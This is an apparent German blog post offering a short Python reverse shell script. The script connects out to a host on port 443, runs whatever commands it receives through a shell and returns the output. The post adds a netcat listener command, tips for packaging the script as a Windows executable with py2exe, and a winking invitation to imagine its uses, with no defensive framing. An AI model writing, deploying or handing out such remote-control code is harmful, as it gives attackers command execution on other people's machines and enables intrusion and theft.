Reverse Shell in Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
import socket
import subprocess

HOST = '192.168.1.1'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(1024)
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()

Heute mal ein kurzes Codeschnippsel von mir. Wie unschwer zu erkennen ist, handelt es sich dabei um ein kurzes Pythonskript, das eine Reverse Shell zu einen Remotecomputer aufbaut.
Bevor das Skript eine Verbindung aufbauen kann, muss auf dem Zielrechner eine netcat-Instanz geöffnet werden, ungefähr so:

1
nc -l  -p 443 -v

Soll das Skript unter Windows laufen, muss es mit py2exe gepackt werden.

Wozu das ganze ? Lasst eurer Fantasie einfach freien Lauf ( ¬‿¬)